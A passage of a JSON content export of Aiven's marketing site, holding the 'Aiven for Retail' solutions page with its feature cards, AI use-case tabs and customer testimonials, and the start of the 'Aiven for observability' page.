planning"},{"_key":"e0672b1e8374","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f99e85fb8e92","_type":"block","children":[{"_key":"c752fd3de1c20","_type":"span","marks":[],"text":"Determining potential future demand."}],"markDefs":[],"style":"normal"}],"title":"Demand forecasting"},{"_key":"b4202ba00a74","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9d7a2e9e841a","_type":"block","children":[{"_key":"63bf38e74c050","_type":"span","marks":[],"text":"Ensuring optimal production and profits."}],"markDefs":[],"style":"normal"}],"title":"Optimizing labor"},{"_key":"ee439544e139","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b5fa9fba690d","_type":"block","children":[{"_key":"43ff2d528c4c0","_type":"span","marks":[],"text":"Capturing and analysing real-time data to remain competitive."}],"markDefs":[],"style":"normal"}],"title":"Real-time data analytics"},{"_key":"6340c113cffe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c9046f374ba9","_type":"block","children":[{"_key":"94b11fb671c90","_type":"span","marks":[],"text":"Business critical security for customer peace of mind."}],"markDefs":[],"style":"normal"}],"title":"Secure transactions"},{"_key":"982f0ad7c7a4","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-acd4d7ea144a9cfcc6470a23f4699a2afdaf5889-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bb64079f28a6","_type":"block","children":[{"_key":"bc25a022ca4a0","_type":"span","marks":[],"text":"Managing stock, deliveries and returns."}],"markDefs":[],"style":"normal"}],"title":"Freight and shipping"}],"itemsPerRow":3,"noSpaceTop":true,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"6020acff1965","_type":"block","children":[{"_key":"13a73bd5e93d0","_type":"span","marks":[],"text":"With Aiven's data and AI platform, retailers have a versatile, reliable, and cost-effective way to build solutions that make a tangible difference to the customer experience."}],"markDefs":[],"style":"normal"},{"_key":"adee0d32637b","_type":"block","children":[{"_key":"067ccc7bd51b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Retail is in the Detail"},{"_key":"4e42dd10fc5d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"422eadb4a576","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c5dcf9766359","_type":"block","children":[{"_key":"81d891dfbcee0","_type":"span","marks":[],"text":"Leverage popular open-source technology and access a vast talent pool to build top solutions while enjoying the freedom to use multiple clouds."}],"markDefs":[],"style":"normal"}],"title":"Open Choice","variant":"icon-card"},{"_key":"c3b68bf57dd5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"4da44ba7aa4e","_type":"block","children":[{"_key":"63992a5efe370","_type":"span","marks":[],"text":"Leverage multiple clouds to maximize cost savings and govern data on a single platform. Enhance resiliency with cross-region and cross-cloud replication and disaster recovery."}],"markDefs":[],"style":"normal"}],"title":"Deploy to any cloud","variant":"icon-card"},{"_key":"cf9020dff6b6","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"34b37a0445fd","_type":"block","children":[{"_key":"5de1359a70940","_type":"span","marks":[],"text":"Boost engagement and satisfaction with "},{"_key":"790fcd7859fb","_type":"span","marks":["821da93fba55"],"text":"event-driven architecture"},{"_key":"076e194a0675","_type":"span","marks":[],"text":" and real-time personalization. Delight shoppers with instant responses based on real-time events, enhancing user experience."}],"markDefs":[{"_key":"821da93fba55","_type":"internalLink","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"}}],"style":"normal"}],"title":"Go Real Time","variant":"icon-card"},{"_key":"5746b40ff915","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"698dbc17c9ae","_type":"block","children":[{"_key":"1252ed39ef700","_type":"span","marks":[],"text":"Accelerate outcomes using "},{"_key":"05ed68e6e15b","_type":"span","marks":["971583e643a3"],"text":"Aiven's AI Database Optimizer"},{"_key":"2a176a688cc4","_type":"span","marks":[],"text":" to provide coding suggestions in minutes, enhance database performance, and resolve issues faster, saving time and resources."}],"markDefs":[{"_key":"971583e643a3","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"5c454270aa5d","_type":"block","children":[{"_key":"5f01187864a20","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"AI-driven optimization ","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/aiven-platform-one-pager","title":"Download Aiven Platform one pager"},"roundedCorners":"rounded-tl","subtitle":[{"_key":"19ad3d1efcc6","_type":"block","children":[{"_key":"30a4c85b45640","_type":"span","marks":[],"text":"Boost your business with a data platform that simplifies infrastructure, minimizes risk, and delivers faster results. Quickly deploy new data services to accelerate development, freeing your team to innovate instead of maintaining systems, and increase your bottom line."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven? ","topOverlap":false},{"_key":"872b2fd734db","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"465fd4d1429b","_type":"tabItem","content":[{"_key":"6d204f1d19c9","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-93e5885d06f0ee85d4ddff32a2ff0990ac5f153b-1096x1146-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"bb81910d677b","_type":"block","children":[{"_key":"a73829cd129d","_type":"span","marks":[],"text":"Integrate real-time data with AI"}],"markDefs":[],"style":"h4"},{"_key":"b2fa1b12b76d","_type":"block","children":[{"_key":"cf4a35b80dc70","_type":"span","marks":["strong"],"text":"Enhanced Customer Experience: "},{"_key":"7841095b9451","_type":"span","marks":[],"text":"Enhance customer experiences and boost sales through personalized product recommendations, dynamic pricing, and targeted promotions. "}],"markDefs":[],"style":"normal"},{"_key":"e55b655d9cfd","_type":"block","children":[{"_key":"373f7db103d60","_type":"span","marks":["strong"],"text":"Improved Operational Efficiency: "},{"_key":"a3d6a7400e37","_type":"span","marks":[],"text":"Optimize supply chains through AI-powered demand forecasting, ensure efficient inventory management and reduce waste, and streamline store operations through better resource allocation for cost reduction."}],"markDefs":[],"style":"normal"},{"_key":"13c924d1527b","_type":"block","children":[{"_key":"bbf3d419a4cb0","_type":"span","marks":["strong"],"text":"Increased Sales and Revenue:"},{"_key":"9d091f22cdfe","_type":"span","marks":[],"text":" Identify emerging trends and build targeted marketing campaigns for higher conversion rates and increase repeat purchases."}],"markDefs":[],"style":"normal"},{"_key":"62f883030ebd","_type":"block","children":[{"_key":"2091cf2a0fd5","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"7be83e2fd2a9","_type":"block","children":[{"_key":"579e643d9219","_type":"span","marks":[],"text":"Perform real-time ML inference on your Kafka stream. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ebae47b1afd2","_type":"block","children":[{"_key":"55b1f9a80d62","_type":"span","marks":[],"text":"Join data from external and internal sources while removing sensitive information to get a holistic view of your business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e7a290c3e71","_type":"block","children":[{"_key":"e6191be0a6a4","_type":"span","marks":[],"text":"Provide a layer of abstraction between data sources and the AI serving layer without changing the underlying data structure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a3597648fd27","_type":"block","children":[{"_key":"b9b01548f7b7","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"ceda5bf4f6e7","_type":"block","children":[{"_key":"48c525ea52e0","_type":"span","marks":["75fbe2524e26"],"text":"Consistent CDC with Apache Kafka, Debezium, and the outbox pattern"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"75fbe2524e26","_type":"internalLink","internalLink":{"_ref":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_type":"reference"}}],"style":"normal"},{"_key":"a293045ddd2c","_type":"block","children":[{"_key":"e5c6e12c3884","_type":"span","marks":["e837b42bade4"],"text":"Move from batch to streaming with Apache Kafka and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e837b42bade4","_type":"internalLink","internalLink":{"_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-streaming","imageHeight":35,"title":"Real-time AI"},{"_key":"e04d3723463343add5ed601f85bdf8e1","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0bd9edddfc7930433789167d847bfead220a71f9-1659x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d887c3cce693","_type":"block","children":[{"_key":"46435abb3bae0","_type":"span","marks":[],"text":"Build a delightful search experience"}],"markDefs":[],"style":"h4"},{"_key":"89d7885a65e8","_type":"block","children":[{"_key":"92b494fbde3f0","_type":"span","marks":["strong"],"text":"Personalization"},{"_key":"92b494fbde3f1","_type":"span","marks":[],"text":": Leverage user behavior and preferences to deliver personalized product recommendations."}],"markDefs":[],"style":"normal"},{"_key":"70cbd0b8425a","_type":"block","children":[{"_key":"00e407afc95a0","_type":"span","marks":["strong"],"text":"Enhanced User Engagement"},{"_key":"00e407afc95a1","_type":"span","marks":[],"text":": Engage users on your site longer and encourage repeat visits with a more effective search function."}],"markDefs":[],"style":"normal"},{"_key":"64840cc44886","_type":"block","children":[{"_key":"7b467312e3020","_type":"span","marks":["strong"],"text":"Handling Large Catalogs"},{"_key":"7b467312e3021","_type":"span","marks":[],"text":": Efficiently handle large and diverse product catalogs, making it easier for customers to find specific items even in extensive inventories."}],"markDefs":[],"style":"normal"},{"_key":"cc8dfa1e5c9a","_type":"block","children":[{"_key":"98d458ccc321","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"3ee938bcc9ad","_type":"block","children":[{"_key":"0345dcddc708","_type":"span","marks":[],"text":"Augment product catalogs on Aiven for Postgres with AI-driven search capabilities through pgvector."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f65b62e631e","_type":"block","children":[{"_key":"9f9fff4ab04a","_type":"span","marks":["strong"],"text":"Learn more: "}],"markDefs":[],"style":"h6"},{"_key":"280370dc4df9","_type":"block","children":[{"_key":"1d5351359bf5","_type":"span","marks":["78a3c587156d"],"text":"When text meets image: a guide to OpenSearch® for multimodal search"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"78a3c587156d","_type":"internalLink","internalLink":{"_ref":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_type":"reference"}}],"style":"normal"},{"_key":"fe7fa825f9a5","_type":"block","children":[{"_key":"1f21eecfcc54","_type":"span","marks":["bc9e37b4e41b"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc9e37b4e41b","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"search","imageHeight":35,"title":"AI enabled product search"},{"_key":"3e974aa4b93cea667d5bd8c656a6ffc0","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5-1616x1452-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d3a3a36c0bd9","_type":"block","children":[{"_key":"b532a756d00b0","_type":"span","marks":[],"text":"Chatbots trained on your enterprise data"}],"markDefs":[],"style":"h4"},{"_key":"c3faf29543cb","_type":"block","children":[{"_key":"2a9fd7cd1842","_type":"span","marks":["strong"],"text":"Handle Routine Inquiries:"},{"_key":"48a02c8381cc","_type":"span","marks":[],"text":" Free up human agents to deal with more complex issues by handling routine and repetitive questions. "}],"markDefs":[],"style":"normal"},{"_key":"7e8a92926c78","_type":"block","children":[{"_key":"fed9cdc7232d","_type":"span","marks":["strong"],"text":"Scale:"},{"_key":"01b8ff3e8d51","_type":"span","marks":[],"text":" Easily handle large volume of customer inquiries simultaneously during peak times without compromising on response time or quality."}],"markDefs":[],"style":"normal"},{"_key":"b6305720cb6b","_type":"block","children":[{"_key":"f8acd7cfc82e","_type":"span","marks":["strong"],"text":"Lower Operational Costs: "},{"_key":"10c5d85de1f3","_type":"span","marks":[],"text":"Augment existing customer service experience through AI powered customer service agents."}],"markDefs":[],"style":"normal"},{"_key":"6fc804b90fbb","_type":"block","children":[{"_key":"2d5bb88d5c24","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"b643a42ff2f2","_type":"block","children":[{"_key":"641f3d388000","_type":"span","marks":[],"text":"Build data pipelines on Aiven for Apache Kafka to upload your enterprise data into Aiven vector databases "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0848094bc13d","_type":"block","children":[{"_key":"a00a9951788b","_type":"span","marks":[],"text":"Create GenAI customer agents that integrate your data with your preferred AI model "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"chatbot","imageHeight":35,"title":"Customer Service Agent"},{"_key":"e20a1af9d483","_type":"tabItem","content":[{"_key":"7209509ca88c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"3c5dac0ae2cb","_type":"block","children":[{"_key":"81ce0a99447d0","_type":"span","marks":[],"text":"Personalize your customer outreach"}],"markDefs":[],"style":"h4"},{"_key":"54de5d87665a","_type":"block","children":[{"_key":"6edcfd5620da0","_type":"span","marks":["strong"],"text":"Improved Click-Through Rates"},{"_key":"6edcfd5620da1","_type":"span","marks":[],"text":": Customized outreach that resonates with your customers’ interests increases customer engagement and satisfaction."}],"markDefs":[],"style":"normal"},{"_key":"b2a119d241a7","_type":"block","children":[{"_key":"5a862edd1ad50","_type":"span","marks":["strong"],"text":"Scale"},{"_key":"5a862edd1ad51","_type":"span","marks":[],"text":": Effectively scale AI marketing campaigns across your entire customer base making it feasible to maintain personalized communication with everyone."}],"markDefs":[],"style":"normal"},{"_key":"5443a8cbeb22","_type":"block","children":[{"_key":"bb8101944cb60","_type":"span","marks":["strong"],"text":"Cross-Selling and Upselling"},{"_key":"bb8101944cb61","_type":"span","marks":[],"text":": Identify opportunities for cross-selling and upselling based on customer preferences and past purchases for AI marketing campaigns."}],"markDefs":[],"style":"normal"},{"_key":"ebb877025cd4","_type":"block","children":[{"_key":"9bee7526a3d7","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"c165d3f32df8","_type":"block","children":[{"_key":"71b35298fded0","_type":"span","marks":[],"text":"Build real-time clickstream ingestion pipelines with Aiven for Apache Kafka to collect user behavior on your website"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aad6afe7fe1","_type":"block","children":[{"_key":"509c24345abe0","_type":"span","marks":[],"text":"Build email generation pipelines leveraging real-time and historical data stored across Aiven databases to send personalized messages to your customers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8388931b2b6c","_type":"block","children":[{"_key":"0c94e45a7d7f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"comms","imageHeight":35,"title":"Customized Communications"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"690f73dedc4c","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"1d889c1f0a9e8c3a0d81b609c96e981e","_type":"testimonialItem","company":{"_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},"content":[{"_key":"325615a89aef","_type":"block","children":[{"_key":"fb97ef24b9b60","_type":"span","marks":[],"text":"Decathlon, a major sporting goods retailer and official partner of the 2024 Paris Olympic and Paralympic Games with 3,000+ engineers in over 50 countries, and 1,700 retail outlets worldwide,"}],"markDefs":[],"style":"normal"},{"_key":"c9d0dfe8421f","_type":"block","children":[{"_key":"87612ad8472b","_type":"span","marks":[],"text":"\"Aiven’s solution offers us a unique stack for deploying our database solutions for all cloud providers. This type of collaboration allows us to rely on Aiven’s expertise for some of our applications (especially for databases). We can then focus on the parts of the solutions that differentiate more from the UX of our customers.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"SmFSPQEeG0lT9LV1ImFb1","_type":"reference"},"title":"Read the full case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-662d4991d0bce63f93b73a123aabf02d65d18997-800x198-jpg","_type":"reference"}},"jobTitle":"Product Owner at Decathlon","name":"Pierre Hilbert"},{"_key":"d126ef8f397a16a89d45aa3e594630cb","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"2ccd5c5b1f9c","_type":"block","children":[{"_key":"35e024a824890","_type":"span","marks":[],"text":"La Redoute, a French e-commerce leader in home, decoration and fashion with 10 million customers across 26 countries and features 800+ brands like Adidas, Mango, and Monoprix,"}],"markDefs":[],"style":"normal"},{"_key":"940774a0da75","_type":"block","children":[{"_key":"743c6a4235720","_type":"span","marks":[],"text":"“The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks. Our strategic value in helping La Redoute derive data insights to keep ahead of the competition is recognized by upper management, and I’m proud that our team is growing as a result.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"title":"Read the full case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"jobTitle":"Head of Cloud Transformation","name":"Diogo Gomes"},{"_key":"5a1faf958aea","_type":"testimonialItem","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"16a597d0dd1c","_type":"block","children":[{"_key":"02380e3808b4","_type":"span","marks":[],"text":"ADEO, the leading French DIY and home improvement player in the European market and third largest worldwide, \n\n“We were looking for a technology partner to accompany both our European and global growth as we transform and digitize our processes while innovating the way we interact with our customers. We need a reliable cloud provider that can deliver, scale and support a large variety of services on-demand based.“"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"title":"Read the full case study"},"image":{"_type":"mainImage","alt":"adeo logo image in light blue","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"}],"rounded":false,"title":"Customer spotlight","variant":"logo"},{"_key":"6b2c209fbdc7","_type":"cardList","addSpaceBottom":true,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"items":[{"_key":"b5a5e49c3ecb","_type":"cardItem","subtitle":[{"_key":"3e509b25d96b","_type":"block","children":[{"_key":"502126de62cb0","_type":"span","marks":[],"text":"All of Aiven’s plans are easily scalable. You can increase or decrease the storage you need, or the number of processing cores."}],"markDefs":[],"style":"normal"}],"title":"A future-proof solution that grows with your needs.","variant":"default"},{"_key":"303ef6046e41","_type":"cardItem","subtitle":[{"_key":"25e87dd5e25b","_type":"block","children":[{"_key":"ab9240cf51000","_type":"span","marks":[],"text":"You can switch between any of the cloud providers at the push of a button, and spin up regional clusters as your company grows."}],"markDefs":[],"style":"normal"}],"title":"Cloud agnostic","variant":"default"},{"_key":"50645972034b","_type":"cardItem","subtitle":[{"_key":"67cd97b519d2","_type":"block","children":[{"_key":"efe0c9d2302b0","_type":"span","marks":[],"text":"Because everything’s open source, you’re not dependent on the whims of a single tech vendor. The tools you use today will still be open in the future."}],"markDefs":[],"style":"normal"}],"title":"No vendor lock in","variant":"default"},{"_key":"bfc4174947f8","_type":"cardItem","subtitle":[{"_key":"0c879768cbd2","_type":"block","children":[{"_key":"eb0a5814aeda0","_type":"span","marks":[],"text":"With Aiven, open source solutions keep the costs low, and our all-inclusive pricing means you only pay for the servers and storage you need, when you need it – no surprises."}],"markDefs":[],"style":"normal"}],"title":"A flexible pricing structure","variant":"default"},{"_key":"5030ee0427b1","_type":"cardItem","subtitle":[{"_key":"d1ad3bfcf94e","_type":"block","children":[{"_key":"c1d2cad75da80","_type":"span","marks":[],"text":"Increase the load at crunch times, decrease it in off seasons. Switch providers and plans whenever you choose. You have total control."}],"markDefs":[],"style":"normal"}],"title":"Flexible architecture","variant":"default"},{"_key":"391e29dde233","_type":"cardItem","subtitle":[{"_key":"03f583703669","_type":"block","children":[{"_key":"ad74f1d1e2180","_type":"span","marks":[],"text":"Plug into your existing data sources (using Kafka Connect, for example) and add close to real-time analytics on top."}],"markDefs":[],"style":"normal"}],"title":"Easy integration with your systems","variant":"default"},{"_key":"affc273aa962","_type":"cardItem","subtitle":[{"_key":"ab9e5d2e792c","_type":"block","children":[{"_key":"abcc0423a0340","_type":"span","marks":[],"text":"Aiven maintains compliance with all major data regulations, including ISO 27001, SOC 2, GDPR, HIPAA, CCPA, and PCI DSS."}],"markDefs":[],"style":"normal"}],"title":"Extensive security and compliance","variant":"default"},{"_key":"82a74892be6c","_type":"cardItem","subtitle":[{"_key":"670ba57c35fe","_type":"block","children":[{"_key":"a127df7a98520","_type":"span","marks":[],"text":"Aiven’s customers love our world-class support, offered 24/7, 365 days a year."}],"markDefs":[],"style":"normal"}],"title":"Excellent customer support","variant":"default"},{"_key":"b577675ab505","_type":"cardItem","subtitle":[{"_key":"40b110103a97","_type":"block","children":[{"_key":"aa6c6dfec21e0","_type":"span","marks":[],"text":"Our observability platform goes way beyond monitoring to offer metrics, monitoring, logging, analysis and diagnosis, alerting, and troubleshooting — all in one complete package."}],"markDefs":[],"style":"normal"}],"title":"Extensive data monitoring","variant":"default"},{"_key":"9e069c248c0d","_type":"cardItem","subtitle":[{"_key":"5789e1f6afa4","_type":"block","children":[{"_key":"9140b01e0c490","_type":"span","marks":[],"text":"Aiven offers 99.99% uptime, automated backups, and a self-healing platform that automagically fixes issues before human intervention is needed. We also monitor your system 24/7 – so you’ll always have peace of mind for your data."}],"markDefs":[],"style":"normal"}],"title":"High availability and disaster recovery","variant":"default"},{"_key":"ee1e9c14d65e","_type":"cardItem","subtitle":[{"_key":"fafc9741dbad","_type":"block","children":[{"_key":"65d38e253f3c0","_type":"span","marks":[],"text":"Aiven’s portfolio of services range from PostgreSQL® (the world’s leading open source relational database, powering eCommerce all over the world) to M3 (a cutting edge time series database developed by Uber), and everything in between including Apache Kafka®, OpenSearch®, MySQL, Redis™*, and Grafana®. There’s more than enough to cater for every scale of business – and you can pick and mix from all of the services in any combination."}],"markDefs":[],"style":"normal"}],"title":"A large range of products to meet your needs as you grow","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"subtitle":[{"_key":"28c8930fa405","_type":"block","children":[{"_key":"fe3e078d78420","_type":"span","marks":[],"text":"We know that no two businesses are alike—which is why we offer a highly-flexible range of solutions that can be easily combined and integrated with your existing systems. You can create exactly the data architecture you need today, and rest assured that as your business needs grow, you’ll be able scale up tomorrow."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven’s retail solutions are trusted by global brands"},{"_key":"77045f7c9531","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Free 30-day trial"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"3a1632dccc94","_type":"block","children":[{"_key":"bfdbd055033d0","_type":"span","marks":[],"text":"Moving your data infrastructure to Aiven’s cloud-based service increases both speed through reduced latency and flexibility of your business to keep customers happy. With Aiven, you can scale up during peak seasons, and back down again as needed with zero data downtime."}],"markDefs":[],"style":"normal"}],"title":"The cloud data advantage","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Retail comes in many shapes and sizes – from brick and mortar stores to global eCommerce. Aiven’s flexible solutions can adapt to suit any situation and budget.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0690269c91d7b71008cff959120fbbc8bd4ed885-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Retail Solutions | For any budget | Find out more"},"slug":{"_type":"slug","current":"/solutions/aiven-for-retail"},"title":"Aiven for Retail"} {"__i18n_lang":"en","_createdAt":"2022-08-11T12:59:24Z","_id":"4355d09b-4181-4bab-b701-d160e07eb56e","_rev":"x92MZWXNiN5YFkwWmtNiuX","_type":"solution","_updatedAt":"2024-04-12T07:57:33Z","content":[{"_key":"420cfd641456","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for observability","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"description":[{"_key":"edd23e620fc7","_type":"block","children":[{"_key":"40f0739039050","_type":"span","marks":[],"text":"So you’ve built your architecture and your applications, and you’ve got data – the lifeblood of your business – pumping through every artery. Effective observability keeps a watchful eye over the whole system, helping everything stay healthy."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"small","isImageLarge":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Book a demo"},"rounded":false,"roundedCorners":"rounded-b","title":"Observability - the bird’s eye view of your systems","variant":"default"},{"_key":"68ab3791e429","_type":"textColumn","columnOne":[{"_key":"f017f7d175aa","_type":"block","children":[{"_key":"fc80a1b1dfeb0","_type":"span","marks":[],"text":"A holistic healthcare solution for your data"}],"markDefs":[],"style":"h3"},{"_key":"ec0751a84cf9","_type":"block","children":[{"_key":"d7ac38b899aa0","_type":"span","marks":[],"text":"Observability solutions go way beyond basic monitoring to provide a complete data healthcare ecosystem, so you’re always aware of what’s happening in the "},{"_key":"d7ac38b899aa1","_type":"span","marks":["em"],"text":"entire system"},{"_key":"d7ac38b899aa2","_type":"span","marks":[],"text":", and can triage any incidents before they turn into 